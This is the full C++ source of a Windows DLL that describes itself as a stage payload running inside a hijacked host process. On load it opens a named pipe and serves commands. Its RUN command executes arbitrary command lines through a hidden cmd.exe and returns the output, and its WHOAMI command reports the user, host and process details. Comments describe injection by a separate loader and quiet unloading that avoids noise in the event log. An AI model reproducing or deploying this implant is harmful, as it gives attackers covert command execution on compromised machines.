// Stage payload: runs inside a hijacked host process.
//
// Contract with the loader:
//   - named pipe  \\.\pipe\ArDrvStage
//   - one request per connection, UTF-8, newline terminated
//   - response: UTF-8, ends with "<<" sentinel line, then the pipe closes
//   - commands: PING | WHOAMI | RUN <command line> | STOP
//
// The DLL is intentionally small: it is a command runner, not a second agent.
// All policy (which host, when to re-inject) stays in the loader so the payload
// can be swapped without touching the services.

#include <windows.h>

#include <string>
#include <vector>

static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage";
static const wchar_t* kMutexName = L"Global\\ArDrvStage";
static const char* kEnd = "<<";
static HMODULE g_module = nullptr;
static HANDLE g_mutex = nullptr;

static std::string Narrow(const std::wstring& w)
{
    if (w.empty())
        return std::string();

    int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);

    if (need <= 0)
        return std::string();

    std::string out(need, '\0');
    WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
    return out;
}

static std::wstring Widen(const std::string& s)
{
    if (s.empty())
        return std::wstring();

    int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);

    if (need <= 0)
        return std::wstring();

    std::wstring out(need, L'\0');
    MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
    return out;
}

static std::wstring CmdExe()
{
    wchar_t sys[MAX_PATH]{};

    if (GetSystemDirectoryW(sys, _countof(sys)) == 0)
        return L"C:\\Windows\\System32\\cmd.exe";

    return std::wstring(sys) + L"\\cmd.exe";
}

// Runs a command line through cmd.exe and captures stdout+stderr.
static bool RunCapture(const std::wstring& commandLine, std::wstring& output)
{
    output.clear();

    SECURITY_ATTRIBUTES sa{};
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;

    HANDLE readEnd = nullptr;
    HANDLE writeEnd = nullptr;

    if (!CreatePipe(&readEnd, &writeEnd, &sa, 0))
        return false;

    SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0);

    STARTUPINFOW si{};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdOutput = writeEnd;
    si.hStdError = writeEnd;
    si.hStdInput = nullptr;

    PROCESS_INFORMATION pi{};

    std::wstring full = L"\"" + CmdExe() + L"\" /C " + commandLine;
    std::vector<wchar_t> mutableCmd(full.begin(), full.end());
    mutableCmd.push_back(L'\0');

    BOOL ok = CreateProcessW(
        nullptr,
        mutableCmd.data(),
        nullptr,
        nullptr,
        TRUE,
        CREATE_NO_WINDOW,
        nullptr,
        nullptr,
        &si,
        &pi);

    CloseHandle(writeEnd);

    if (!ok)
    {
        CloseHandle(readEnd);
        return false;
    }

    std::string bytes;
    char buf[4096]{};
    DWORD read = 0;

    while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0)
        bytes.append(buf, read);

    WaitForSingleObject(pi.hProcess, 30000);

    CloseHandle(readEnd);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    output = Widen(bytes);
    return true;
}

static void ServeConnection(HANDLE pipe)
{
    std::string request;
    char ch = 0;
    DWORD read = 0;

    while (ReadFile(pipe, &ch, 1, &read, nullptr) && read == 1)
    {
        if (ch == '\n')
            break;

        if (request.size() > 32 * 1024)
            break;

        request.push_back(ch);
    }

    std::wstring line = Widen(request);

    while (!line.empty() && (line.back() == L'\r'))
        line.pop_back();

    std::string response;

    auto reply = [&](const std::string& status, const std::wstring& body)
    {
        response = status + "\n" + Narrow(body) + kEnd + "\n";
    };

    std::wstring command;
    size_t sp = line.find(L' ');

    if (sp == std::wstring::npos)
    {
        command = line;
    }
    else
    {
        command = line.substr(0, sp);
    }

    std::wstring rest = (sp == std::wstring::npos) ? std::wstring() : line.substr(sp + 1);

    if (_wcsicmp(command.c_str(), L"PING") == 0)
    {
        reply("OK", L"PONG");
    }
    else if (_wcsicmp(command.c_str(), L"WHOAMI") == 0)
    {
        wchar_t user[256]{};
        DWORD len = _countof(user);

        std::wstring who = L"?";
        wchar_t name[256]{};
        DWORD nameLen = _countof(name);

        if (GetUserNameW(user, &len))
            who = user;

        if (GetComputerNameW(name, &nameLen))
            who = std::wstring(name) + L"\\" + who;

        wchar_t self[MAX_PATH]{};
        GetModuleFileNameW(nullptr, self, _countof(self));

        reply("OK", who + L" pid=" + std::to_wstring(GetCurrentProcessId()) +
            L" image=" + self);
    }
    else if (_wcsicmp(command.c_str(), L"RUN") == 0)
    {
        if (rest.empty())
        {
            reply("ERR", L"ERR_USAGE RUN <command line>");
        }
        else
        {
            std::wstring output;

            if (RunCapture(rest, output))
                reply("OK", output);
            else
                reply("ERR", L"exec failed");
        }
    }
    else if (_wcsicmp(command.c_str(), L"STOP") == 0)
    {
        reply("OK", L"stopping");

        DWORD written = 0;
        WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
        FlushFileBuffers(pipe);
        DisconnectNamedPipe(pipe);
        CloseHandle(pipe);

        // Unload cleanly instead of killing the host: a service host that dies
        // takes unrelated services with it and makes noise in the event log.
        if (g_mutex)
        {
            CloseHandle(g_mutex);
            g_mutex = nullptr;
        }

        FreeLibraryAndExitThread(g_module, 0);
    }
    else
    {
        reply("ERR", L"ERR_UNKNOWN " + command);
    }

    DWORD written = 0;
    WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
    FlushFileBuffers(pipe);
}

static DWORD WINAPI StageThread(void*)
{
    while (true)
    {
        HANDLE pipe = CreateNamedPipeW(
            kPipeName,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            64 * 1024,
            64 * 1024,
            0,
            nullptr);

        if (pipe == INVALID_HANDLE_VALUE)
        {
            Sleep(1000);
            continue;
        }

        if (ConnectNamedPipe(pipe, nullptr) || GetLastError() == ERROR_PIPE_CONNECTED)
            ServeConnection(pipe);

        DisconnectNamedPipe(pipe);
        CloseHandle(pipe);
    }

    return 0;
}

BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID)
{
    if (reason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(module);
        g_module = module;

        HANDLE mutex = CreateMutexW(nullptr, TRUE, kMutexName);

        if (mutex && GetLastError() == ERROR_ALREADY_EXISTS)
        {
            CloseHandle(mutex);
            return TRUE;
        }

        g_mutex = mutex;

        HANDLE thread = CreateThread(nullptr, 0, StageThread, nullptr, 0, nullptr);

        if (thread)
            CloseHandle(thread);
    }

    return TRUE;
}